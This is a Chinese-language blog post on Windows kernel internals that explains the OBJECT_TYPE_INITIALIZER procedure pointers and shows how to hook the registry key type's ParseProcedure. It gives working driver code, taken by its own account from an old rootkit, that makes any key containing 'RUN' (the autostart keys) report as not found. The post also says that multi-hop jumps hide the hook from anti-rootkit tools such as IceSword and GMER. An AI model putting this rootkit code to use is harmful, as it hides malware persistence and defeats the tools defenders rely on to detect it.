ObjectType HOOK干涉注册表操作

来看ObOpenObjectByName,它会调用ObpLookupObjectByName来打开一个对象

对象头(object_header)有一个object type结构
object type结构里有一个TypeInfo,结构是OBJECT_TYPE_INITIALIZER
typedef struct _OBJECT_TYPE_INITIALIZER {
USHORT Length;
BOOLEAN UseDefaultObject;
BOOLEAN CaseInsensitive;
ULONG InvalidAttributes;
GENERIC_MAPPING GenericMapping;
ULONG ValidAccessMask;
BOOLEAN SecurityRequired;
BOOLEAN MaintainHandleCount;
BOOLEAN MaintainTypeList;
POOL_TYPE PoolType;
ULONG DefaultPagedPoolCharge;
ULONG DefaultNonPagedPoolCharge;
PVOID DumpProcedure;
PVOID OpenProcedure;
PVOID CloseProcedure;
PVOID DeleteProcedure;
PVOID ParseProcedure;
PVOID SecurityProcedure;
PVOID QueryNameProcedure;
PVOID OkayToCloseProcedure;
} OBJECT_TYPE_INITIALIZER, *POBJECT_TYPE_INITIALIZER;



OBJECT_TYPE_INITIALIZER 结构中一个指针ParseProcedure就是用来实现这类对象的打开的
OBJECT_TYPE_INITIALIZER 中类似的有
DumpProcedure;OpenProcedure;CloseProcedure;DeleteProcedure;ParseProcedure;SecurityProcedure;QueryNameProcedure;OkayToCloseProcedure;
分别对应着对象的删除、lookup、获取名字等的例程,一般对象不是所有的routine都有。

这些都是在ObCreateObjectType(系统启动时)填充的

例如KeyObject的TypeInfo:
lkd> dt _OBJECT_TYPE_INITIALIZER 839b25e0+60
+0x000 Length : 0x4c
+0x002 UseDefaultObject : 0x1 ''
+0x003 CaseInsensitive : 0 ''
+0x004 InvalidAttributes : 0x30
+0x008 GenericMapping : _GENERIC_MAPPING
+0x018 ValidAccessMask : 0x1f003f
+0x01c SecurityRequired : 0x1 ''
+0x01d MaintainHandleCount : 0 ''
+0x01e MaintainTypeList : 0x1 ''
+0x020 PoolType : 1 ( PagedPool )
+0x024 DefaultPagedPoolCharge : 0x74
+0x028 DefaultNonPagedPoolCharge : 0
+0x02c DumpProcedure : (null)
+0x030 OpenProcedure : (null)
+0x034 CloseProcedure : 0x8062cedc nt!CmpCloseKeyObject+0
+0x038 DeleteProcedure : 0x8062cdc2 nt!CmpDeleteKeyObject+0
+0x03c ParseProcedure : 0x806250c2 nt!CmpParseKey+0
+0x040 SecurityProcedure : 0x8062cc24 nt!CmpSecurityMethod+0
+0x044 QueryNameProcedure : 0x8062be7e nt!CmpQueryKeyName+0
+0x048 OkayToCloseProcedure : (null)

那么很简单了,我们只要HOOK这些函数例程就可以了
例如hook ParseProcedure,那么可以令得无法打开特定的Object
这些函数例程的原始例程是比较难搜索到的,结合多段跳,可以很容易地让反rootkit工具检查不到这种HOOK

HOOK了之后,冰刃(蹦出“无法打开”)和GMER都无法打开目标的注册表键,当然uty的那个新的反ROOTKIT工具也是不行~(直接解析注册表的例如DarkSpy则可以)

以下是很老的一个RK里的代码,用于进行这个处理,小改了一下:

PVOID OldParseKey;
//安装HOOK
void InstallAdvRegHook()
{

UNICODE_STRING RegPath ;
OBJECT_ATTRIBUTES oba ;
HANDLE RegKeyHandle ;
NTSTATUS status ;
PVOID KeyObject ;
PMYOBJECT_TYPE CmpKeyObjectType ;


RtlInitUnicodeString(&RegPath, L"\\Registry\\Machine\\System" );
InitializeObjectAttributes( &oba ,
&RegPath ,
OBJ_KERNEL_HANDLE|OBJ_CASE_INSENSITIVE ,
0 ,
0 );

RegKeyHandle=0;

status=ZwOpenKey(&RegKeyHandle,KEY_QUERY_VALUE,&oba);

if (!NT_SUCCESS(status ))
{
KDMSG(("open the system key failed!\n"));
return ;
}

//首先随便打开一个注册表键,得到对象

status=ObReferenceObjectByHandle(RegKeyHandle,
GENERIC_READ,
NULL,
KernelMode,
&KeyObject,
0);

if (!NT_SUCCESS(status ))
{
KDMSG(("reference the key object failed!\n"));
ZwClose(RegKeyHandle);
return ;
}

__asm
{
push eax
mov eax,KeyObject
mov eax,[eax-0x10]
mov CmpKeyObjectType,eax
pop eax
}

KDMSG(("key object type :%08x \n" , CmpKeyObjectType ));

//get the key object type
//获得注册表键对象类型,即CmpKeyObjectType

OldParseKey = CmpKeyObjectType->TypeInfo.ParseProcedure ;

KDMSG(("key parseProcedure routine :%08x \n ", OldParseKey ));

if (!MmIsAddressValid(OldParseKey))
{
ObDereferenceObject(KeyObject);
ZwClose(RegKeyHandle);
return ;
}
//保存原始的ParseProcedure



CmpKeyObjectType->TypeInfo.ParseProcedure = (ULONG) FakeParseKey;

//进行HOOK
ObDereferenceObject(KeyObject);
ZwClose(RegKeyHandle);
return ;


}

//HOOK函数

NTSTATUS FakeParseKey(POBJECT_DIRECTORY RootDirectory,
POBJECT_TYPE ObjectType,
PACCESS_STATE AccessState,
KPROCESSOR_MODE AccessCheckMode,
ULONG Attributes,
PUNICODE_STRING ObjectName,
PUNICODE_STRING RemainingName,
PVOID ParseContext ,
PSECURITY_QUALITY_OF_SERVICE SecurityQos ,
PVOID *Object)
{
NTSTATUS stat ;
WCHAR Name[300];
RtlCopyMemory(Name , ObjectName->Buffer , ObjectName->MaximumLength );
_wcsupr(Name);

if (wcsstr(Name , L"RUN"))
{
//检查是不是要保护的注册表键

return STATUS_OBJECT_NAME_NOT_FOUND ;
}

__asm
{
push eax
push Object
push SecurityQos
push ParseContext
push RemainingName
push ObjectName
push Attributes
movzx eax, AccessCheckMode
push eax
push AccessState
push ObjectType
push RootDirectory
call OldParseKey

mov stat, eax
pop eax

}
return stat ;
}
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值